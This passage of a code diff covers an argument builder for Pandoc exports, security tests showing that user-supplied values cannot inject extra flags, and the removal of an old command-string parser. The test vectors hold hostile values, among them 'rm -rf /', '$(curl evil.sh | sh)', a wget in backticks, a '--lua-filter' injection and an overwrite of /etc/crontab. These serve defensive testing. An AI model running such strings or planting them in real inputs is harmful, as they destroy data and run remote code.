+  if (footerText) args.push('--variable', `footer=${footerText}`);
+}
+
+/**
+ * Build the base argument array for the export dialog and batch conversion:
+ * input, -o output, the shared export options, and the `-t docx` tail for
+ * Word exports. Format-specific extras (PDF engine flags, EPUB fonts, HTML
+ * css, reveal.js themes) are appended by the call site.
+ * @param {Object} params
+ * @param {string} params.inputFile - Path passed to pandoc verbatim
+ * @param {string} params.outputFile - Path passed to pandoc verbatim
+ * @param {string} [params.format] - Export format name
+ * @param {Object} [params.options] - Export dialog options
+ * @returns {string[]}
+ */
+function buildPandocArgs({ inputFile, outputFile, format, options = {} }) {
+  const args = [inputFile, '-o', outputFile];
+  appendCommonOptions(args, options);
+  if (format === 'docx') {
+    args.push('-t', 'docx');
+  }
+  return args;
+}
+
+/**
+ * Build args for the simple `-t <target>` formats (see SIMPLE_TARGET_FORMATS).
+ * @param {string} inputFile - Input path
+ * @param {string} outputFile - Output path
+ * @param {string} format - Export format name
+ * @returns {string[]|null} Argument array, or null when format is not one of
+ *   the simple target formats
+ */
+function buildSimpleTargetArgs(inputFile, outputFile, format) {
+  const target = SIMPLE_TARGET_FORMATS[format];
+  if (!target) return null;
+  return [inputFile, '-t', target, '-o', outputFile];
+}
+
+module.exports = {
+  SIMPLE_TARGET_FORMATS,
+  appendCommonOptions,
+  appendPdfEngineOptions,
+  appendFooterVariable,
+  buildPandocArgs,
+  buildSimpleTargetArgs,
+};
diff --git a/tests/main/pandoc-arg-safety.test.js b/tests/main/pandoc-arg-safety.test.js
new file mode 100644
index 0000000..00002e6
--- /dev/null
+++ b/tests/main/pandoc-arg-safety.test.js
@@ -0,0 +1,327 @@
+/**
+ * Security and regression tests for the Pandoc argument builders (SEC-1).
+ *
+ * Pandoc must always be invoked as execFile(pandocPath, args) with an argument
+ * array — never a shell-style command string that gets re-tokenized. These
+ * tests prove that user-controlled values (file paths, template names,
+ * metadata, footer text) can only ever arrive as single literal argv elements,
+ * and pin the argument shape of every export format to its pre-conversion
+ * behavior.
+ */
+const PandocArgs = require('../../src/main/PandocArgs');
+
+const {
+  SIMPLE_TARGET_FORMATS,
+  appendCommonOptions,
+  appendFooterVariable,
+  appendPdfEngineOptions,
+  buildPandocArgs,
+  buildSimpleTargetArgs,
+} = PandocArgs;
+
+/**
+ * Verbatim copy of the retired main.js tokenizer (removed with the fix).
+ * parseCommand had no escape handling, so any value containing a quote
+ * character split into multiple argv elements. Kept here only to prove the
+ * old path was exploitable and to pin the new arrays against the old output
+ * for benign input.
+ */
+function retiredParseCommand(cmdString) {
+  const parts = [];
+  let current = '';
+  let inQuotes = false;
+  let quoteChar = '';
+  for (let i = 0; i < cmdString.length; i++) {
+    const char = cmdString[i];
+    if ((char === '"' || char === "'") && !inQuotes) {
+      inQuotes = true;
+      quoteChar = char;
+    } else if (char === quoteChar && inQuotes) {
+      inQuotes = false;
+      quoteChar = '';
+    } else if (char === ' ' && !inQuotes) {
+      if (current) {
+        parts.push(current);
+        current = '';
+      }
+    } else {
+      current += char;
+    }
+  }
+  if (current) {
+    parts.push(current);
+  }
+  return { command: parts[0], args: parts.slice(1) };
+}
+
+// Asserts that `value` arrives in argv as exactly one literal element (if the
+// value were split or re-interpreted, no element would equal it) and that no
+// injected flag ever becomes its own argv element.
+function expectSingleLiteralArg(args, value, ...injectedFragments) {
+  expect(args.filter((a) => a === value)).toHaveLength(1);
+  for (const fragment of injectedFragments) {
+    expect(args).not.toContain(fragment);
+  }
+}
+
+describe('PandocArgs injection resistance (SEC-1)', () => {
+  const maliciousVectors = [
+    '/tmp/x.bib" --lua-filter=/tmp/evil.lua -o "/tmp/x.bib',
+    '/home/u/notes; rm -rf /',
+    '/tmp/$(curl evil.sh | sh)',
+    '/tmp/`wget evil.sh`',
+    '/tmp/my file with spaces.bib',
+    "/tmp/it's-quoted.bib",
+    '/tmp/trailing\\backslash.bib"',
+  ];
+
+  describe.each([
+    [
+      'bibliography',
+      (options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options }),
+    ],
+    ['csl', (options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options })],
+    [
+      'template',
+      (options) => buildPandocArgs({ inputFile: '/in.md', outputFile: '/out.pdf', options }),
+    ],
+  ])('%s cannot inject extra pandoc flags', (field, build) => {
+    test.each(maliciousVectors)('value %j stays one literal argv element', (vector) => {
+      const args = build({ [field]: vector });
+      expectSingleLiteralArg(
+        args,
+        `--${field}=${vector}`,
+        '--lua-filter=/tmp/evil.lua',
+        'rm',
+        '-rf',
+        '--filter'
+      );
+      expect(args.slice(0, 2)).toEqual(['/in.md', '-o']);
+      expect(args.filter((a) => a === '/out.pdf')).toHaveLength(1);
+    });
+  });
+
+  test('metadata values cannot inject extra pandoc flags', () => {
+    const vector = 'title"; --lua-filter=/tmp/evil.lua; rm -rf /';
+    const args = buildPandocArgs({
+      inputFile: '/in.md',
+      outputFile: '/out.pdf',
+      options: { metadata: { title: vector, author: 'Jane Doe' } },
+    });
+    expectSingleLiteralArg(args, `title=${vector}`, '--lua-filter=/tmp/evil.lua', 'rm', '-rf');
+    expect(args).toContain('-M');
+    expect(args).toContain('author=Jane Doe');
+  });
+
+  test('metadata keys cannot inject extra pandoc flags', () => {
+    const key = 'title" --lua-filter=/tmp/evil.lua';
+    const args = buildPandocArgs({
+      inputFile: '/in.md',
+      outputFile: '/out.pdf',
+      options: { metadata: { [key]: 'value' } },
+    });
+    expectSingleLiteralArg(args, `${key}=value`, '--lua-filter=/tmp/evil.lua');
+  });
+
+  test('variable values cannot inject extra pandoc flags', () => {
+    const vector = 'margin=1in" --lua-filter=/tmp/evil.lua';
+    const args = buildPandocArgs({
+      inputFile: '/in.md',
+      outputFile: '/out.pdf',
+      options: { variables: { geometry: vector } },
+    });
+    expectSingleLiteralArg(args, `geometry=${vector}`, '--lua-filter=/tmp/evil.lua');
+    expect(args).toContain('-V');
+  });
+
+  test('input and output paths cannot inject extra pandoc flags or change position', () => {
+    const input = '/tmp/my doc; rm -rf / $(evil) `evil`.md';
+    const output = '/tmp/out put"; --lua-filter=/tmp/evil.lua.pdf';
+    const args = buildPandocArgs({ inputFile: input, outputFile: output });
+    expect(args[0]).toBe(input);
+    expect(args[1]).toBe('-o');
+    expect(args[2]).toBe(output);
+    expect(args).toHaveLength(3);
+    expect(args).not.toContain('--lua-filter=/tmp/evil.lua');
+    expect(args).not.toContain('rm');
+  });
+
+  test('pdf engine and geometry values cannot inject extra pandoc flags', () => {
+    const args = [];
+    appendPdfEngineOptions(args, {
+      pdfEngine: 'xelatex" --lua-filter=/tmp/evil.lua',
+      geometry: 'margin=1in"; -o /etc/crontab',
+    });
+    expectSingleLiteralArg(
+      args,
+      '--pdf-engine=xelatex" --lua-filter=/tmp/evil.lua',
+      '--lua-filter=/tmp/evil.lua',
+      '-o'
+    );
+    expectSingleLiteralArg(args, 'geometry:margin=1in"; -o /etc/crontab', '-o', '/etc/crontab');
+  });
+
+  test('pptx footer text cannot inject extra pandoc flags', () => {
+    const vector = 'Page 1"; --lua-filter=/tmp/evil.lua';
+    const args = [];
+    appendFooterVariable(args, vector);
+    expect(args).toEqual(['--variable', `footer=${vector}`]);
+  });
+
+  test('the retired string+parseCommand path DID split a malicious value (documents the bug)', () => {
+    const malicious = '/tmp/x.bib" --lua-filter=/tmp/evil.lua -o "/tmp/x.bib';
+    const oldCommand = `pandoc "/in.md" -o "/out.pdf" --bibliography="${malicious}"`;
+    const { args } = retiredParseCommand(oldCommand);
+    expect(args).toContain('--lua-filter=/tmp/evil.lua');
+    expect(args).not.toContain(`--bibliography=${malicious}`);
+    // The new builder neutralizes the same vector.
+    const safeArgs = buildPandocArgs({
+      inputFile: '/in.md',
+      outputFile: '/out.pdf',
+      options: { bibliography: malicious },
+    });
+    expect(safeArgs).not.toContain('--lua-filter=/tmp/evil.lua');
+    expectSingleLiteralArg(safeArgs, `--bibliography=${malicious}`, '--lua-filter=/tmp/evil.lua');
+  });
+});
+
+describe('PandocArgs regression pins (benign input, pre-conversion argv)', () => {
+  const benignOptions = {
+    template: '/templates/report.tex',
+    metadata: { title: 'My Report', author: 'Jane Doe' },
+    variables: { geometry: 'margin=1in', fontsize: '12pt' },
+    toc: true,
+    tocDepth: 3,
+    numberSections: true,
+    citeproc: true,
+    bibliography: '/refs/refs.bib',
+    csl: '/styles/ieee.csl',
+  };
+
+  // Rebuilds the exact command string the export dialog used to produce for a
+  // benign option set, then tokenizes it with the retired parser.
+  function oldDialogArgs(format) {
+    let pandocCmd = `pandoc "/in.md" -o "/out.${format}"`;
+    if (benignOptions.template && benignOptions.template !== 'default') {
+      pandocCmd += ` --template="${benignOptions.template}"`;
+    }
+    for (const [key, value] of Object.entries(benignOptions.metadata)) {
+      if (value.trim()) pandocCmd += ` -M ${key}="${value.replace(/"/g, '\\"')}"`;
+    }
+    for (const [key, value] of Object.entries(benignOptions.variables)) {
+      if (value.trim()) pandocCmd += ` -V ${key}="${value.replace(/"/g, '\\"')}"`;
+    }
+    if (benignOptions.toc) pandocCmd += ' --toc';
+    if (benignOptions.tocDepth) pandocCmd += ` --toc-depth=${benignOptions.tocDepth}`;
+    if (benignOptions.numberSections) pandocCmd += ' --number-sections';
+    if (benignOptions.citeproc) pandocCmd += ' --citeproc';
+    if (benignOptions.bibliography) pandocCmd += ` --bibliography="${benignOptions.bibliography}"`;
+    if (benignOptions.csl) pandocCmd += ` --csl="${benignOptions.csl}"`;
+    if (format === 'docx') pandocCmd += ' -t docx';
+    return retiredParseCommand(pandocCmd).args;
+  }
+
+  test.each(['docx', 'rtf', 'pdf', 'pptx', 'epub', 'odt'])(
+    'format %s produces the same argv as the retired string path for a benign option set',
+    (format) => {
+      const args = buildPandocArgs({
+        inputFile: '/in.md',
+        outputFile: `/out.${format}`,
+        format,
+        options: benignOptions,
+      });
+      expect([...args].sort()).toEqual(oldDialogArgs(format).sort());
+    }
+  );
+
+  test('buildPandocArgs docx with full options (exact argv pin)', () => {
+    const args = buildPandocArgs({
+      inputFile: '/in.md',
+      outputFile: '/out.docx',
+      format: 'docx',
+      options: benignOptions,
+    });
+    expect(args).toEqual([
+      '/in.md',
+      '-o',
+      '/out.docx',
+      '--template=/templates/report.tex',
+      '-M',
+      'title=My Report',
+      '-M',
+      'author=Jane Doe',
+      '-V',
+      'geometry=margin=1in',
+      '-V',
+      'fontsize=12pt',
+      '--toc',
+      '--toc-depth=3',
+      '--number-sections',
+      '--citeproc',
+      '--bibliography=/refs/refs.bib',
+      '--csl=/styles/ieee.csl',
+      '-t',
+      'docx',
+    ]);
+  });
+
+  test('buildPandocArgs minimal options for a generic format (exact argv pin)', () => {
+    const args = buildPandocArgs({ inputFile: '/a b.md', outputFile: '/out.rtf', format: 'rtf' });
+    expect(args).toEqual(['/a b.md', '-o', '/out.rtf']);
+  });
+
+  test.each(Object.entries(SIMPLE_TARGET_FORMATS))(
+    'simple target format %j converts to -t %s and drops dialog options (pre-existing behavior)',
+    (format, target) => {
+      const args = buildSimpleTargetArgs('/in.md', '/out.file', format);
+      expect(args).toEqual(['/in.md', '-t', target, '-o', '/out.file']);
+      // Dialog options were never applied to these formats before the fix.
+      expect(args).not.toContain('--toc');
+    }
+  );
+
+  test('simple target formats cover the seven formats added in the export expansion', () => {
+    for (const format of ['asciidoc', 'rst', 'mediawiki', 'org', 'textile', 'man', 'ipynb']) {
+      expect(SIMPLE_TARGET_FORMATS[format]).toBe(format);
+    }
+  });
+
+  test('buildSimpleTargetArgs returns null for formats with bespoke handling', () => {
+    for (const format of ['pdf', 'docx', 'html', 'epub', 'revealjs', 'rtf']) {
+      expect(buildSimpleTargetArgs('/in.md', '/out.x', format)).toBeNull();
+    }
+  });
+
+  test('appendCommonOptions skips default template and blank metadata/variable values', () => {
+    const args = [];
+    appendCommonOptions(args, {
+      template: 'default',
+      metadata: { title: '  ', author: 'Kept' },
+      variables: { margin: '' },
+    });
+    expect(args).toEqual(['-M', 'author=Kept']);
+  });
+
+  test('appendCommonOptions tolerates missing options object', () => {
+    const args = ['/in.md', '-o', '/out.pdf'];
+    appendCommonOptions(args, undefined);
+    expect(args).toEqual(['/in.md', '-o', '/out.pdf']);
+  });
+
+  test('appendPdfEngineOptions defaults to xelatex and adds geometry when set', () => {
+    const withDefaults = [];
+    appendPdfEngineOptions(withDefaults);
+    expect(withDefaults).toEqual(['--pdf-engine=xelatex']);
+
+    const full = [];
+    appendPdfEngineOptions(full, { pdfEngine: 'lualatex', geometry: 'margin=1in' });
+    expect(full).toEqual(['--pdf-engine=lualatex', '-V', 'geometry:margin=1in']);
+  });
+
+  test('appendFooterVariable is a no-op without footer text', () => {
+    const args = [];
+    appendFooterVariable(args, '');
+    appendFooterVariable(args, undefined);
+    expect(args).toEqual([]);
+  });
+});
diff --git a/tests/utils.test.js b/tests/utils.test.js
index 76e3066..33ac36e 100644
--- a/tests/utils.test.js
+++ b/tests/utils.test.js
@@ -4,75 +4,6 @@
  */
 
 describe('Utility Functions', () => {
-  describe('parseCommand', () => {
-    // This function parses command strings into command and args
-    function parseCommand(cmdString) {
-      const parts = [];
-      let current = '';
-      let inQuotes = false;
-      let quoteChar = '';
-
-      for (let i = 0; i < cmdString.length; i++) {
-        const char = cmdString[i];
-        if ((char === '"' || char === "'") && !inQuotes) {
-          inQuotes = true;
-          quoteChar = char;
-        } else if (char === quoteChar && inQuotes) {
-          inQuotes = false;
-          quoteChar = '';
-        } else if (char === ' ' && !inQuotes) {
-          if (current) {
-            parts.push(current);
-            current = '';
-          }
-        } else {
-          current += char;
-        }
-      }
-      if (current) {
-        parts.push(current);
-      }
-
-      return {
-        command: parts[0],
-        args: parts.slice(1),
-      };
-    }
-
-    test('should parse simple command', () => {
-      const result = parseCommand('pandoc input.md -o output.pdf');
-      expect(result.command).toBe('pandoc');
-      expect(result.args).toEqual(['input.md', '-o', 'output.pdf']);
-    });
-
-    test('should handle double-quoted paths', () => {
-      const result = parseCommand('pandoc "C:/path with spaces/file.md" -o output.pdf');
-      expect(result.command).toBe('pandoc');
-      expect(result.args).toEqual(['C:/path with spaces/file.md', '-o', 'output.pdf']);
-    });
-
-    test('should handle single-quoted paths', () => {
-      const result = parseCommand("pandoc 'file name.md' -o output.pdf");
-      expect(result.command).toBe('pandoc');
-      expect(result.args).toEqual(['file name.md', '-o', 'output.pdf']);
-    });
-
-    test('should handle multiple options', () => {
-      const result = parseCommand(
-        'pandoc input.md --pdf-engine=xelatex -V geometry:margin=1in -o output.pdf'
-      );
-      expect(result.command).toBe('pandoc');
-      expect(result.args).toContain('--pdf-engine=xelatex');
-      expect(result.args).toContain('-V');
-    });
-
-    test('should handle empty command', () => {
-      const result = parseCommand('');
-      expect(result.command).toBeUndefined();
-      expect(result.args).toEqual([]);
-    });
-  });
-
   describe('hexToRgb', () => {
     // This function converts hex colors to RGB
     function hexToRgb(hex) {